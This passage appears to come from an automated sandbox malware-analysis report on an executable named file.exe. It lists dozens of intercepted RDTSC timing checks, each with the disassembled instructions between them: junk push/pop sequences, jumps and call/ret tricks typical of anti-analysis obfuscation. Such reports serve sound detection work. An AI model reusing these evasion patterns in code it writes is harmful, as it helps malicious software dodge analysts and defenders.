0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F32E9641F1Fh 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A1E4 second address: 55A201 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55BD15 second address: 55BD2B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F32E9641F16h 0x00000010 jo 00007F32E9641F16h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55BD2B second address: 55BD6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E6h 0x00000007 jmp 00007F32E8D838E6h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 jc 00007F32E8D838D6h 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55BD6A second address: 55BD7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B105 second address: 51B126 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F32E8D838D6h 0x00000008 jmp 00007F32E8D838E7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160F3 second address: 5160F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160F8 second address: 5160FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E286 second address: 55E28B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 564786 second address: 56478B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 566838 second address: 56683E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56683E second address: 56686C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F32E8D838DCh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56686C second address: 566876 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F32E9641F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 566876 second address: 5668CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F32E8D838D8h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 call 00007F32E8D838E8h 0x0000002c movzx edi, si 0x0000002f pop edi 0x00000030 xchg eax, esi 0x00000031 jo 00007F32E8D838E0h 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5668CA second address: 5668D5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5638FE second address: 563904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 563904 second address: 563909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56797E second address: 567982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 564A33 second address: 564A41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F32E9641F1Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 567C2B second address: 567C35 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F32E8D838D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5699D8 second address: 569A56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D2709h], eax 0x00000013 push 00000000h 0x00000015 jmp 00007F32E9641F1Dh 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007F32E9641F18h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 00000014h 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 call 00007F32E9641F24h 0x0000003b jc 00007F32E9641F1Ch 0x00000041 mov dword ptr [ebp+122D2828h], ebx 0x00000047 pop ebx 0x00000048 xchg eax, esi 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F32E9641F1Fh 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569A56 second address: 569A5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569B9B second address: 569BD2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F32E9641F2Bh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e jmp 00007F32E9641F23h 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569BD2 second address: 569BD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569BD8 second address: 569C44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov bl, dh 0x0000000b push dword ptr fs:[00000000h] 0x00000012 stc 0x00000013 mov dword ptr fs:[00000000h], esp 0x0000001a movsx ebx, ax 0x0000001d mov eax, dword ptr [ebp+122D0335h] 0x00000023 or edi, 7E52B091h 0x00000029 push FFFFFFFFh 0x0000002b push 00000000h 0x0000002d push edi 0x0000002e call 00007F32E9641F18h 0x00000033 pop edi 0x00000034 mov dword ptr [esp+04h], edi 0x00000038 add dword ptr [esp+04h], 0000001Ch 0x00000040 inc edi 0x00000041 push edi 0x00000042 ret 0x00000043 pop edi 0x00000044 ret 0x00000045 call 00007F32E9641F1Fh 0x0000004a mov edi, dword ptr [ebp+122D1E55h] 0x00000050 pop ebx 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569C44 second address: 569C4E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F32E8D838D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B7CB second address: 56B7D0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B7D0 second address: 56B7DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56AADC second address: 56AAE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C866 second address: 56C874 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F32E8D838D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C874 second address: 56C878 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F750 second address: 56F78C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F32E8D838E5h 0x00000008 jng 00007F32E8D838D6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 mov ebx, 7CBA9A85h 0x00000019 push 00000000h 0x0000001b add bx, 29F9h 0x00000020 push 00000000h 0x00000022 mov di, 5313h 0x00000026 xchg eax, esi 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F78C second address: 56F790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F790 second address: 56F7B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F32E8D838D8h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pushad 0x00000015 popad 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F7B7 second address: 56F7C1 instructions: 0x00000000 rdtsc 0x00000002 je 00007F32E9641F1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56CAD0 second address: 56CAD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56CAD4 second address: 56CADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56EA0A second address: 56EA9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 mov bx, cx 0x0000000c push dword ptr fs:[00000000h] 0x00000013 mov bl, cl 0x00000015 mov dword ptr fs:[00000000h], esp 0x0000001c mov ebx, 56C3FEB2h 0x00000021 mov eax, dword ptr [ebp+122D03F1h] 0x00000027 push 00000000h 0x00000029 push eax 0x0000002a call 00007F32E8D838D8h 0x0000002f pop eax 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 add dword ptr [esp+04h], 0000001Ch 0x0000003c inc eax 0x0000003d push eax 0x0000003e ret 0x0000003f pop eax 0x00000040 ret 0x00000041 sbb bh, FFFFFF85h 0x00000044 push FFFFFFFFh 0x00000046 push 00000000h 0x00000048 push esi 0x00000049 call 00007F32E8D838D8h 0x0000004e pop esi 0x0000004f mov dword ptr [esp+04h], esi 0x00000053 add dword ptr [esp+04h], 0000001Bh 0x0000005b inc esi 0x0000005c push esi 0x0000005d ret 0x0000005e pop esi 0x0000005f ret 0x00000060 movsx edi, bx 0x00000063 nop 0x00000064 jmp 00007F32E8D838DEh 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c jg 00007F32E8D838D8h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 570638 second address: 57069E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 je 00007F32E9641F2Fh 0x0000000d jmp 00007F32E9641F29h 0x00000012 nop 0x00000013 mov di, 79BEh 0x00000017 push 00000000h 0x00000019 mov dword ptr [ebp+122D233Fh], edx 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push ecx 0x00000024 call 00007F32E9641F18h 0x00000029 pop ecx 0x0000002a mov dword ptr [esp+04h], ecx 0x0000002e add dword ptr [esp+04h], 0000001Dh 0x00000036 inc ecx 0x00000037 push ecx 0x00000038 ret 0x00000039 pop ecx 0x0000003a ret 0x0000003b mov ebx, dword ptr [ebp+122D3CDDh] 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 push esi 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56EA9A second address: 56EAA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F32E8D838D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57069E second address: 5706A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56EAA4 second address: 56EAA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571774 second address: 571778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571778 second address: 57177C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57177C second address: 571782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 570817 second address: 5708A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F32E8D838E3h 0x0000000c nop 0x0000000d call 00007F32E8D838DAh 0x00000012 mov ebx, dword ptr [ebp+122D1E49h] 0x00000018 pop ebx 0x00000019 push dword ptr fs:[00000000h] 0x00000020 jnp 00007F32E8D838DCh 0x00000026 add dword ptr [ebp+12457A3Dh], esi 0x0000002c mov dword ptr fs:[00000000h], esp 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 call 00007F32E8D838D8h 0x0000003b pop ecx 0x0000003c mov dword ptr [esp+04h], ecx 0x00000040 add dword ptr [esp+04h], 00000017h 0x00000048 inc ecx 0x00000049 push ecx 0x0000004a ret 0x0000004b pop ecx 0x0000004c ret 0x0000004d sub dword ptr [ebp+122D27E9h], ecx 0x00000053 mov eax, dword ptr [ebp+122D1075h] 0x00000059 mov edi, 6D8787E0h 0x0000005e push FFFFFFFFh 0x00000060 jg 00007F32E8D838DCh 0x00000066 nop 0x00000067 jc 00007F32E8D838E4h 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571782 second address: 571787 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5708A6 second address: 5708AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571787 second address: 57178D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5727BD second address: 5727DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F32E8D838D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F32E8D838E1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5718C3 second address: 5718C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 579442 second address: 579477 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F32E8D838DCh 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 jnp 00007F32E8D838D6h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5795F5 second address: 579628 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F32E9641F1Fh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F32E9641F1Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 579628 second address: 579630 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 579630 second address: 57966B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F32E9641F35h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F32E9641F1Ch 0x0000000f jp 00007F32E9641F16h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5797DF second address: 579806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 js 00007F32E8D838D8h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F32E8D838E4h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 579806 second address: 57980A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57980A second address: 579810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F489 second address: 57F48D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F48D second address: 57F4AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F32E8D838E0h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F4AF second address: 57F4B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F4B4 second address: 57F4D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F32E8D838E5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F602 second address: 57F608 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F608 second address: 57F60E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F60E second address: 57F612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 584BF7 second address: 584BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 584BFB second address: 584C0B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jnp 00007F32E9641F16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 584C0B second address: 584C23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DEh 0x00000007 jns 00007F32E8D838D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 584C23 second address: 584C28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 584C28 second address: 584C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 584C36 second address: 584C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 584C3A second address: 584C3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5839C8 second address: 5839E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F32E9641F24h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5839E8 second address: 5839F3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 583F10 second address: 583F14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58407F second address: 584085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5841FD second address: 58421C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F32E9641F16h 0x0000000c popad 0x0000000d jmp 00007F32E9641F22h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58421C second address: 58423B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E8D838E5h 0x00000009 jp 00007F32E8D838D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 584625 second address: 584634 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 584634 second address: 584648 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F32E8D838D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F32E8D838DAh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 584648 second address: 584650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 584650 second address: 584654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5847F3 second address: 58480B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F32E9641F1Fh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589E5F second address: 589E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F32E8D838E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588CC9 second address: 588CE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E9641F1Ah 0x00000009 popad 0x0000000a ja 00007F32E9641F18h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588CE0 second address: 588CE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
